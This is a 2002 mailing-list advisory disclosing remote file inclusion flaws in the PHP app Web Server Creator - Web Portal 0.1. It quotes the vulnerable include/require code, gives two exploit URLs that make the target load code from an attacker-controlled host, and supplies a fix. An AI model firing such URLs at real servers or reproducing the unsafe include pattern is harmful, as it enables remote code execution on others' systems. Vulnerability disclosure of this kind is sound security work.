Web Server Creator - Web Portal 0.1 (PHP)

From: Frog Man (leseulfrogat_private)
Date: Mon Nov 25 2002 - 08:33:41 PST

  • Next message: NetScreen Security Response Team: "Predictable TCP Initial Sequence Numbers"

    Informations :
    °°°°°°°°°°°°°°
    Website : http://webcreator.com02.com
    Tested version : 0.1
    Problem : Include file
    
    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    news/include/customize.php :
    ------------------
    <?
    $langfile = $l;
    
    include $l;
    ?>
    ------------------
    
    index.php :
    -----------------------------------
    [...]
    if (!$pg) { $pg = "acceuil"; }
    [...]
    require ("$pg.php");
    ?>
    [...]
    -----------------------------------
    
    Exploits :
    °°°°°°°°°°
    http://[target]/news/include/customize.php?l=http://[attacker]/file.txt
    with
    http://[attacker]/file.txt
    
    and
    
    http://[target]/index.php?pg=http://[attacker]/badfile
    with
    http://[attacker]/badfile.php
    
    
    
    Solution :
    °°°°°°°°°°
    - Delete bugged lines in news/include/customize.php
    - In index.php replce this line :
    require ("$pg.php");
    by :
    -------------------
    if (file_exists($pg.".php")){
    require ("$pg.php");
    }
    -------------------
    
    A patch can be found on http://www.phpsecure.org.
    
    
    More details :
    °°°°°°°°°°°°°°
    In french :
    http://www.frog-man.org/tutos/WSC-WebPortal.txt
    Translated by Google :
    http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FWSC-WebPortal.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII
    
    
    
    frog-m@n
    
    
    
    _________________________________________________________________
    MSN Search, le moteur de recherche qui pense comme vous ! 
    http://search.msn.fr/worldwide.asp
    



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